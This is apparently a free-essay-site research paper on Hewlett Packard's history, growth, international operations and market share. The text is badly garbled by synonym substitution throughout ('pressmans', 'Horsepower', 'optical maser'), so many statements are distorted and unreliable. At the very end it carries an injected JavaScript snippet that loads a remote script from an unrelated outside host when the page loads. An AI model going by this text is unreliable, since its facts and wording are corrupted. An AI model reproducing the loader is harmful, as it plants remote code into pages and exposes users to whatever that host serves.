Hewlett Packard Essay Research Paper Hewlett Packard free essay sample

Hewlett Packard Essay, Research Paper Hewlett Packard started in 1939 in a garage by two people, Bill Hewlett and David Packard with merely $ 538 of working capital. After a twine of failures, their company? s foremost successful merchandise, an audio oscillator better than anything on the market, earned a U.S. patent and an order from Disney Studios for eight units to assist bring forth the alive movie Fantasia. From 1940 to 1950 they moved from their garage to a rented edifice on Page Mill Road in Palo Alto and so constructed their first HP-owned edifice that was 10,000 square pes. In 1957, HP had their first public stock offering November 6, 1957 and net grosss were $ 30 million with 1,778 employees and 373 merchandises. In the 1960? s, HP was listed on the New York and Pacific exchanges as HWP and had its foremost naming on Fortune magazine as of one of the 500 U.S. companies. HP in 1967 started operations in Boeblingen, Germany presenting a non-invasive fetal bosom proctor that helps babes by observing foetal hurt during labour. In the 1970? s grosss increased to $ 365 million with over 16,000 employees. ( HP.com ) In the 1980? s grosss once more increased to $ 6.5 billion with over 85,000 employees. They introduced their first personal computing machine, the HP-85 and introduced HP LaserJet pressmans, the company? s most successful individual merchandise of all time considered a criterion for optical maser printing today. HP moves to the top 50 on Fortune 500 listing # 8211 ; 1 # 8211 ; at No. 49. Finally in the 1990? s, HP opens research installations in Tokyo, Japan with net grosss of $ 13.2 billion and over 91,000 employees. ( HP.com ) HP besides introduced portable computing machines that lasted on batteries that would last a flight across the U.S. All these merchandises moved HP to the No. 2 place in the U.S. market. Today HP has ballooned into a transnational company with 104 divisions, 123,000 employees worldwide, 19,000 merchandises and gross revenues over $ 47 billion. ( HP.com ) Great merchandises finally come from the heads of motivated and capable employees, the 2nd key to HP? s success. After the Second World War, the company began to engage gifted applied scientist and scientist that were no longer working in the war that were from other engineering companies and authorities funded labs. These were high priced experient workers that helped HP? s development of different successful merchandises. ( personal Journal ) The company construction looks like a pyramid. At the top are the board of managers followed by President and Vice President. There are Presidents and Vice Presidents in different divisions of the company. Finally, there are general directors, center directors, lower directors and employees. Hewlett Packard? s Mission statement is to better the ways persons and organisations around the universe create, entree, usage and communicate information on the route or from the desktop, in the office and in the place. HP is a world-wide leader in personal computer science ; puting new criterions in such countries # 8211 ; 2- as Mobil calculating web direction, 3-D artworks and information storage. Computer merchandises include eight fabricating divisions in North America, Europe and Asia, with gross revenues and support in more than 110 states. These divisions are separated in Mobile Computer Division, Business Desktop Division, Home Products Division, Asia Pacific PC Division, Workstation Systems Division and information storage group. ( Information Week ) As explained above HP planetary market topographic point allows the company to spread out in different states and people in two ways. First HP.com allows virtually anyone with Internet entree to log on under the URL and really order online. One job that some companies are holding is that 65 % of the Internet citations are merely in English. ( www.firstsearch.com ) On Hewlett Packard? s web site you merely need to take the state that you live in and the pages will interpret the text into that linguistic communication. There is merchandise information about you future or present purchases, package updates of the merchandise, and besides proficient support through electronic mail. Finally HP has 24 hours a twenty-four hours 7 yearss a hebdomad of client support throughout the states that have operators to help you on the merchandise. Peoples are more willing to purchase merchandises and services from a industry that can supply both the support and the chance to purchase easy from Hewlett Packard, and HP provides this! One illustration is that Dell a on-line company that build computing machine as they are order from the clients and the concern offer one of the best support and # 8211 ; 3 # 8211 ; guarantees in the computing machine industry. HP is following their online scheme closely to Dell? s manner of runing the gross revenues and clients. As this company expands in growing it leaves other smaller companies behind that can? t compete with this computing machine giant. These smaller companies hold problem to fit HP? s monetary values and client support. One illustration of this is a local owned household stores in a state that are non able to vie with they type of merchandises and services offered by HP and these companies either have to halt merchandising or travel off from the competition. With communicating and engineering growing, it will be easier to mount the cultural boundaries that other companies had problem get the better ofing in the yesteryear. This would be in holding other states purchasing an American made merchandise. The Internet is assisting in traversing those boundaries by offering planetary support and merchandises. With the support and merchandises offered by HP, other companies may hold problems seeking to fit or outperform. This leads to shuting down of stores and other smaller retail merchant that can impact occupations in that state. Peoples of other diversenesss may hold job accepting these alterations and may non desire to do the alteration. The older coevals that is non ready or unable to utilize computing machines may hold problems accommodating to purchasing over the Internet. Another job is non wholly people from other states are financially able to pay for a computing machine like people in the U.S. This could be another job that HP is non yet ready to get the better of. Finally as clip goes on engineering will be # 8211 ; 4 # 8211 ; available to all and these jobs might be solved but new jobs will replace the old and there will be other obstructions to avoid. Hewlett Packard? s Response to a Globalizing Economy HP now has a strong committedness to adult females # 8217 ; s promotion. One premier illustration of this would be its semiannual Technical and Women # 8217 ; s Conference, which last twelvemonth brought together 2,000 female HP scientists, applied scientists, professionals and directors from 26 provinces and 12 states, in order to discourse concern issues, particularly as they relate to gender. HP picked up the check for employee travel disbursals, excessively. Work and household issues remain on the forepart burner as good. Last twelvemonth the company was listed as an ABC Champion, taking to the support of 25 kid and senior attention undertakings in HP communities. The other intelligence here is the on-going redesign of work agendas to supply more flexibleness. Directors have been trained to be receptive to these demands while employees have been encouraged to seek new options. As a consequence, HP has some large Numberss to demo for its attempts. About 3,000 people work at a practical office ; 500 portion occupations and 1,450 employees are on tight workweeks. HP announced on February 28, 2000 that it would be providing computing machines for its? Wired Workforce? plan in which / gt ; computing machines are made available for all Delta Air Lines employees at a significant price reduction through PeoplePC. # 8211 ; 5 # 8211 ; The Wired Workforce plan was announced February 4 in a joint presentation with PeoplePC. The San Francisco based company will be responsible for order fulfilment and proficient support for the plan. Over the following few months, Delta Technology and PeoplePC will work closely to prove all facets of the plan, including unafraid entree to the air hose # 8217 ; s intranet. HP will supply multiple constellations from its HP Pavilion desktop line, the No. 1 selling retail Personal computer. HP is traveling quickly frontward with execution of their # 8216 ; Wired Workforce # 8217 ; plan and look frontward to the advantages their people will derive. In 1997, the HP established a dedicated undertaking force to turn to the issues raised by the debut of a European individual currency ( the Euro ) for early public presentation as of January 1, 1999 and during the passage period through January 1, 2002. HP? s primary focal point has been on the alterations needed to cover with a mix of Euro and local denomination minutess from the first twenty-four hours of conversion # 8211 ; January 1, 1999. Since the beginning of the passage period, merchandise monetary values in local currencies are being converted to Euros as required. At an appropriate point during the passage period, merchandise monetary values in take parting # 8211 ; 6 # 8211 ; states will be established and stored in Euros, and converted to local denominations. System alterations were implemented to give multi-currency capableness to the few internal applications that did non hold it yet, or to guarantee that external spouses confronting systems treating euro transitions be compliant with the European council ordinances. ( Ad Age ) The HP has developed programs to back up show and printing of the Euro character by wedged merchandises. Most merchandises are presently able to make these maps while programs are still in procedure for a few leftover merchandises. Horsepower does non soon expect that debut and usage of the Euro will materially impact the Company # 8217 ; s foreign exchange and get awaying activities or the Company # 8217 ; s usage of derivative instruments. HP direction does non anticipate that the debut of the Euro will ensue in any material addition in costs to the Company and all costs associated with the debut of the Euro will be expensed to operations as incurred. While the HP will go on to measure the impact of the Euro debut over clip, based on presently available information, direction does non believe that the debut of the Euro currency will hold a material inauspicious impact on the HP # 8217 ; s fiscal status or overall tendencies in consequences of operations. # 8211 ; 7 # 8211 ; Hewlett Packard? s Response to a Globalizing Political Environment Economic, political and other hazards associated with international gross revenues and operations, peculiarly in Korea and Japan, could negatively affect HP gross revenues. They sell merchandises worldwide, their concern is capable to hazards associated with making concern internationally. HP? s cyberspace gross arising outside the United States, as a per centum of our entire cyberspace gross, was 54.4 % in financial twelvemonth 1998 and 54.9 % for the nine months ended July 31, 1999. They predict that gross from international operations will go on to stand for a big part of our entire gross. In add-on, many of their fabrication installations and providers are located outside the United States. HP does a significant part of their concern in Korea and Japan, which have been capable to increased economic instability in recent old ages. Their concern has declined in 1998 when Korea and Japan experienced economic troubles. The return of failing in these economic systems or failing in other international economic systems could and may hold a important negative consequence on HP? s hereafter operating consequences. HP is covering with assorted regulations and ordinances, in peculiar is its conformity with the Food and Drug Administration sing ordinances on a broad assortment of merchandise activities from design and development to labeling, fabrication, publicity, gross revenues and distribution. # 8211 ; 8 # 8211 ; The medical device merchandises produced by Hip? s healthcare solutions concern are capable to those criterions given by the United States Food and Drug Administration ( FDA ) and similar international bureaus. HP has received a warning missive from the FDA in 1996 avering non-compliance with the FDA # 8217 ; s quality system ordinances at one of our installations. The FDA # 8217 ; s quality systems ordinance includes luxuriant design, proving, control, certification and other quality confidence demands. HP had to use considerable resources to turn to the FDA # 8217 ; s concerns. HP has resolved the issues identified in the FDA # 8217 ; s missive and the FDA is satisfied with our appraisal If HP fails to maintain up acceptable conformity with the FDA # 8217 ; s quality system and other ordinances, HP will be forced to remember merchandises and discontinue their industry and distribution. ( Hoovers.com ) The Global Industry The world-wide personal computing machine industry grew 21 per centum last twelvemonth, led by strong demand in the United States. Increasing affordability of Personal computers and the turning demand to acquire? online? , the per centum of U.S. places with Personal computers advanced from 38.5 % in 1995 to 52.7 % in 1999. As a computing machine Industry as a 9 # 8211 ; whole had to vie for DRAM in late 1999 because of the Taiwan temblor. Monetary values doubled 100 % in August and so once more in September. This suspended the demand in Personal computers during the vacation season. In entry-level computing machine HP was once more behind IBM with 12 % of market portion compared to IBM? s 21 % . HP has gained market portion in the midrange Personal computers with 21 % compared to IBM? s 23 % . ( Standard A ; Poor peoples ) HP grew in market portion during the terminal of 1999 from 6.2 % to 8.4 % . HP? s growing rate worldwide is 39.6 % , which is the 2nd fastest growing rate behind Dell computing machine. In grosss HP is 2nd behind IBM with $ 47 billion and 2nd once more in net income behind IBM with $ 2.9 billion. Under operating net income borders HP ranked 6th with 8.16 % and with return in capital of 15.51 % besides 6th in the industry. ( Moody? s Industry Review ) One thing that HP does miss in is in computing machine gross revenues in other states outside of the U.S. , like Canada where they are non even ranked in the top 5. Globally HP leads the pressman market with their HP inkjet pressmans and is deriving market portion in the Personal computers. HP is turning quickly into the worldwide market and is turning at a faster rate than before because of the planetary entree offered to concern and clients over the Internet. # 8211 ; 10 Global Computer Industry, New York Times, New York ; Jan 29, 1999 ; Late Edition ; pg.C.18 Hoovers Online Business Network ; computing machine industry analysis ; hoovers.com Tobi Elkin ; Advertising Age, Chicago ; Jan 31, 2000 ; Vol. 71, Iss. 5 ; Midwest part edition ; pg. 32, 3 pgs Laabs, Jennifer J. ( 1993 ) , ? Hewlett Packard? s nucleus values drive HR scheme, ? Personal Journal, 72, 9 ( February ) 38-48? History, ? ( 2000 ) , hypertext transfer protocol: //www.hp.com ( accessed 2-9-00 ) ? Hewlett Packard Company? ( 2000 ) , hypertext transfer protocol: //www.firstsearch.oclc.org ( accessed 2-9-2000 ) Korzenowski, Paul ( 1999 ) , ? Hewlett Packard Makeover Starts Turning Heads, ? InformationWeek, 761, 9 ( February ) 189-192 Moody? s Industry reappraisal ( 1999 ) , ? Comparative Rankings. ? ? Computer Hardware, ? ( 1999 ) , Standards and Poor peoples Lazich S. Robert ; Market Share Reporter, ( 1999 ) pg 190-192 # 8211 ; 11 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;